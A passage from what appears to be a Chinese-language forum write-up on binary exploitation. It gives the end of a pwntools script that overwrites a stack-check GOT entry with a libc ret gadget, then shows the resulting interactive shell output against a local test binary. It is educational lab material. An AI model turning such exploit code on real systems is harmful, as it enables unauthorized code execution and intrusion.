payload += pwn.p64(libc_base + exit_offset)
conn.sendlineafter('please enter message: \n', payload)
exec_base = 0x555555554000
stack_check_offset = 0x4008
stack_check_got_plt_addr = pwn.p64(exec_base + stack_check_offset)
conn.sendlineafter('please enter address: \n', stack_check_got_plt_addr)
ret_addr = pwn.p64(libc_base + ret_offset)
conn.sendlineafter('please enter value: \n', ret_addr)
conn.interactive()
执行后就可以成功获得shell。
[*] Switching to interactive mode
$ whoami
test
$ ls /boot
amd-ucode.img initramfs-6.6-x86_64.img vmlinuz-6.6-x86_64
grub linux66-x86_64.kver
initramfs-6.6-x86_64-fallback.img memtest86+
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './example' stopped with exit code 2 (pid 4579)
[*] Got EOF while sending in interactive
最后于 6小时前
被福建炒饭乡会编辑
,原因: 修改标题